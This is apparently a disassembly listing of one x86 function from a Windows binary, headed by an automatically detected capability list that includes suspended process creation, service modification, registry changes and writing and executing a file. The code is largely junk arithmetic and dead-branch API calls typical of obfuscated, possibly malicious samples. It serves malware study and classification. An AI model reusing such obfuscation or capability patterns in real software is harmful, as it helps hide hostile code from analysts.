Function at 0x1002d321
Capabilities:
Allocate thread local storage
Check os version
Clear file content
Connect pipe
Create process on windows
Create process suspended
Create thread
Delete file
Delete registry value
Enumerate gui resources
Get common file path
Get disk information
Get file attributes
Get file system object information
Get memory capacity
Identify system language via api
Modify service
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Read file via mapping
Set registry value
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x10078fcd
call fcn.10078d28
mov eax, 0x135c
call fcn.10076a60
push ebx
mov dword [ebp - 0x2c], 0x57a7c203
xor eax, eax
push esi
or esi, 0xffffffff
mov byte [ebp - 0x79], dl
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x24], 0xe26b5cfd
mov dword [ebp - 0x40], 0x99fa
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
push edi
mov dword [ebp - 0xac], ecx
jge 0x1002d380
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x450], 0x7862fd41
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jl 0x1002d367
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], ebx
push 4
pop ecx
cmp dword [ebp - 0x2c], eax
jl 0x1002d500
mov dword [ebp - 0x34], 0x17b4d2c2
mov dword [ebp - 0x38], eax
jmp 0x1002d3af
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x510], 0xa756
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1002d39e
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x504]
mov eax, dword [ebp - 0x504]
mov eax, dword [ebp - 0x510]
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x14], 0xfffffffc
mov ecx, dword [ebp - 0x450]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x504]
setge dl
xor ecx, ecx
cmp edx, eax
push 9
setle cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
pop ecx
setle dl
sub edx, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x3ff14eb4
setg al
xor edx, edx
cmp eax, 8
mov eax, dword [ebp - 0x504]
setne dl
sub ecx, edx
add eax, ecx
cmp eax, dword [ebp - 0x504]
jg 0x1002d439
mov eax, dword [ebp - 0x504]
mov eax, dword [ebp - 0x44c]
add eax, dword [ebp - 0x504]
je 0x1002d48e
mov dword [ebp - 0x24], ebx
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x1002d46c
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x450]
test eax, eax
sete cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x24]
jns 0x1002d451
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d4f1
push 0x748
push 0x85
push eax
push 0xfdf
push eax
call dword [sym.imp.USER32.dll_GetMenuStringW]
jmp 0x1002d4f1
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1002d4b0
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x59c], 0x5d0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002d498
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002d4ec
mov dword [ebp - 0x1c], esi
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x59c], ecx
inc ecx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002d4b5
dec dword [ebp - 0x2c]
push 0
pop eax
push 4
pop ecx
jns 0x1002d392
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002d52a
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x9c], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002d512
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002d54a
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x148], 0xa6d0811
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002d532
xor eax, eax
push 3
mov dword [ebp - 0x30], eax
pop esi
jmp 0x1002d55f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x4b8], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1002d552
mov eax, dword [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
push 7
setg dl
xor eax, eax
pop edi
cmp edx, 0xe2db58e4
ja 0x1002d6e9
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x1c], 0xc964b5ad
mov dword [ebp - 0x38], eax
jmp 0x1002d5da
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xee4], 0xfffffffc
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002d5c9
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x4b8]
dec eax
imul ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, 0xd6b22149
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
imul eax, dword [ebp - 0x14]
add eax, edi
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9c]
cmp eax, ecx
mov eax, dword [ebp - 0x9c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x148]
setle cl
xor edx, edx
cmp ecx, 0xc844fc3
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x9c]
setg cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov dword [ebp - 0x38], 0x23fe2983
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x4b0]
je 0x1002d68a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf3a8a1d5
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x4b0]
mov eax, dword [ebp - 0x4b8]
mov eax, dword [ebp - 0x4b8]
mov eax, dword [ebp - 0x148]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002d6cf
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002d6d1
mov ecx, ebx
xor eax, eax
cmp ecx, 0x594a39b7
setne al
cmp edi, eax
sbb eax, eax
inc eax
mov dword [ebp - 0xedc], eax
jmp 0x1002d703
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002d705
push eax
push eax
push eax
push eax
push eax
push eax
push 0x100a
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x1002d74a
mov dword [ebp - 0x54], 0xb78960bd
cmp dword [ebp - 0x148], eax
jne 0x1002d74a
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
sub edx, 0xffc8ecea
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x54], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x1002d70d
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
mov edi, 0x824a8c6a
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x28], 0xa684
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d76e
push eax
push eax
call esi
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d78b
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 9
push 6
pop edx
je 0x1002d8af
or edi, 0xffffffff
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x38], edi
push 3
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002d7cd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9dc], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d7b9
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002d7e6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10ec], 0xa6aed1d2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d7d5
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x9dc]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10ec]
mov eax, dword [ebp - 0x54]
cmp eax, ecx
setge dl
test edx, edx
jne 0x1002d84f
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0xac8], eax
mov dword [ebp - 0xac4], eax
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xabc], eax
mov eax, dword [ebp - 0xac0]
mov dword [ebp - 0x34], eax
jmp 0x1002d85f
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002d861
call dword [sym.imp.KERNEL32.dll_GetACP]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d873
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
xor eax, eax
mov dword [ebp - 0x38], 0x1d69f428
mov dword [ebp - 0x38], eax
jmp 0x1002d891
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d88e
push eax
push eax
call esi
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 8
jle 0x1002d87f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 9
push 0
pop eax
push 6
pop edx
jne 0x1002d79e
mov edi, 0x824a8c6a
mov dword [ebp - 0x14], 9
jmp 0x1002d8c7
mov dword [ebp - 0x54], 0x66c93ee
cmp dword [ebp - 0x54], eax
jne 0x1002d8cd
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
jge 0x1002d8b8
mov dword [ebp - 0x18], 0x490c4d8e
push 2
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], ecx
jge 0x1002d8f3
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2c0], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002d8df
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002d913
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x5f0], 0xed66e5dc
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002d8fb
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x1002d933
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xd24], 0x71d69170
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1002d91b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x1002da43
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002da34
mov dword [ebp - 0x40], 0x7bf19931
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002d971
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002d979
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sbb ecx, ecx
neg ecx
inc eax
cmp ecx, eax
jne 0x1002d996
xor eax, eax
cmp dword [ebp - 0x2bc], eax
je 0x1002d998
mov eax, ebx
mov dword [ebp - 0x40], eax
xor edx, edx
mov ecx, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x2bc]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x18]
push 0
setg bl
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
sub edx, dword [ebp + eax*4 - 0x2c0]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x5f0], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x2c0]
cmp eax, edx
mov eax, dword [ebp - 0x2bc]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x14]
sub eax, 0x2281f883
mov dword [ebp - 0xd24], eax
dec dword [ebp - 0x14]
pop eax
push 1
pop ebx
jns 0x1002d955
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002d93f
push 2
pop ecx
mov dword [ebp - 0x2c], edi
or edx, 0xffffffff
mov dword [ebp - 0x38], 0xea5d6c05
mov dword [ebp - 0x28], 0x2cf415d7
mov dword [ebp - 0x28], 0xd210ec32
mov dword [ebp - 0x28], 0x31d14cd4
mov dword [ebp - 0x28], 0xa9b27fa
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1002da8a
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1180], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1002da75
xor eax, eax
mov dword [ebp - 0x38], 0xffffffec
jmp 0x1002db38
mov dword [ebp - 0x28], 0x6e6f7fbf
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x28], 0x2717f403
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002dacb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x114c], 0xde0b4074
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002dab3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002dae7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x37c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002dad3
xor eax, eax
mov dword [ebp - 0x37c], eax
jmp 0x1002db2d
mov dword [ebp - 0x8e0], edx
mov dword [ebp - 0x8dc], edx
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xb1943c6f
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x28], 0x530a9bca
mov dword [ebp - 0x40], edx
dec dword [ebp - 0x8e0]
inc dword [ebp - 0x40]
inc dword [ebp - 0x37c]
cmp dword [ebp - 0x37c], ebx
jle 0x1002daef
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x1d
je 0x1002da96
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 9
mov dword [ebp - 0x54], 0xffff
je 0x1002e1f3
jmp 0x1002db5e
push 2
pop ecx
or edx, 0xffffffff
mov dword [ebp - 0x18], 0x57a7c203
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], 0xe26b5cfd
mov dword [ebp - 0x40], 0x99fa
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ecx
jge 0x1002db96
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x400], 0x7862fd41
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1002db7e
xor eax, eax
mov dword [ebp - 0x18], ebx
or edi, 0xffffffff
cmp dword [ebp - 0x18], eax
jl 0x1002dd13
push 4
mov dword [ebp - 0x34], 0x17b4d2c2
mov dword [ebp - 0x38], eax
pop ecx
jmp 0x1002dbc5
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x4f0], 0xa756
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1002dbb4
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x14], 0xfffffffc
mov ecx, dword [ebp - 0x400]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x4e4]
setge dl
xor ecx, ecx
cmp edx, eax
push 9
setle cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
pop ecx
setle dl
sub edx, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x3ff14eb4
setg al
xor edx, edx
cmp eax, 8
mov eax, dword [ebp - 0x4e4]
setne dl
sub ecx, edx
add eax, ecx
cmp eax, dword [ebp - 0x4e4]
jg 0x1002dc4f
mov eax, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x3fc]
add eax, dword [ebp - 0x4e4]
je 0x1002dca4
mov dword [ebp - 0x24], ebx
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x1002dc82
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x400]
test eax, eax
sete cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x24]
jns 0x1002dc67
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002dd07
push 0x748
push 0x85
push eax
push 0xfdf
push eax
call dword [sym.imp.USER32.dll_GetMenuStringW]
jmp 0x1002dd07
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1002dcc6
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x5fc], 0x5d0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002dcae
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002dd02
mov dword [ebp - 0x1c], edi
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x5fc], ecx
inc ecx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1002dccb
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x1002dba5
mov dword [ebp - 0x14], 0x1d69f428
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002dd44
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x90], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002dd2c
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002dd64
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x124], 0xa6d0811
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002dd4c
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002dd76
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x4c4], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x1002dd69
mov eax, dword [ebp - 0x90]
xor edx, edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
neg ecx
add ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0xe2db58e4
ja 0x1002df08
push 7
mov dword [ebp - 0x14], eax
pop ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x1c], 0xc964b5ad
mov dword [ebp - 0x38], eax
jmp 0x1002ddf2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xefc], 0xfffffffc
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1002dde1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x4c4]
dec eax
imul ecx, eax
mov eax, dword [ebp - 0x14]
push 7
cmp ecx, 0xd6b22149
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
sub eax, ecx
neg eax
pop ecx
sbb eax, eax
xor edx, edx
inc eax
imul eax, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x90]
cmp eax, ecx
mov eax, dword [ebp - 0x90]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x124]
setle cl
xor edx, edx
cmp ecx, 0xc844fc3
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x90]
setg cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setne dl
mov dword [ebp - 0x14], edx
xor edx, edx
mov dword [ebp - 0x38], 0x23fe2983
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x4bc]
je 0x1002dea6
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x1c]
sub eax, 0xf3a8a1d5
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x4bc]
mov eax, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x124]
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002deeb
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002deed
mov ecx, ebx
xor eax, eax
cmp ecx, 0x594a39b7
push 7
setne al
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0xef4], eax
jmp 0x1002df22
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002df24
push eax
push eax
push eax
push eax
push eax
push eax
push 0x100a
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1002df69
mov dword [ebp - 0x44], 0xb78960bd
cmp dword [ebp - 0x124], eax
jne 0x1002df69
mov ecx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
sub edx, 0xffc8ecea
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x1002df2c
mov dword [ebp - 0x14], eax
jmp 0x1002e1d4
mov dword [ebp - 0x28], 0xa684
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002df87
push eax
push eax
call esi
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002dfa4
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x38], edi
push 3
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002dfd7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa48], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002dfbf
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002dff0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1084], 0xa6aed1d2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002dfdf
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0xa48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xa44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xa44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1084]
cmp ecx, eax
setge dl
test edx, edx
jne 0x1002e059
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0xb68], eax
mov dword [ebp - 0xb64], eax
mov dword [ebp - 0xb60], eax
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0xb60]
mov dword [ebp - 0x34], eax
jmp 0x1002e069
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002e06b
call dword [sym.imp.KERNEL32.dll_GetACP]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e07d
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
xor eax, eax
mov byte [ebp - 0xd], al
mov dword [ebp - 0x28], 0x8261f9c2
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e09a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e0b9
push 0x220f
push 0xdeb
push 0x1ae8
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp byte [ebp - 0xd], 0
je 0x1002e1ce
mov dword [ebp - 0x34], 0x8bd4dfbd
mov dword [ebp - 0x40], 0xd20b50f6
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], 0x6ea4
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
add ecx, 0xbebf
je 0x1002e185
xor eax, eax
mov dword [ebp - 0x24], 0xacd4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], eax
je 0x1002e119
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
jmp 0x1002e1c8
mov dword [ebp - 0x28], 0xffff
mov dword [ebp - 0x28], 0x76dbd8d4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x1002e149
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xc38], 0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jl 0x1002e130
xor eax, eax
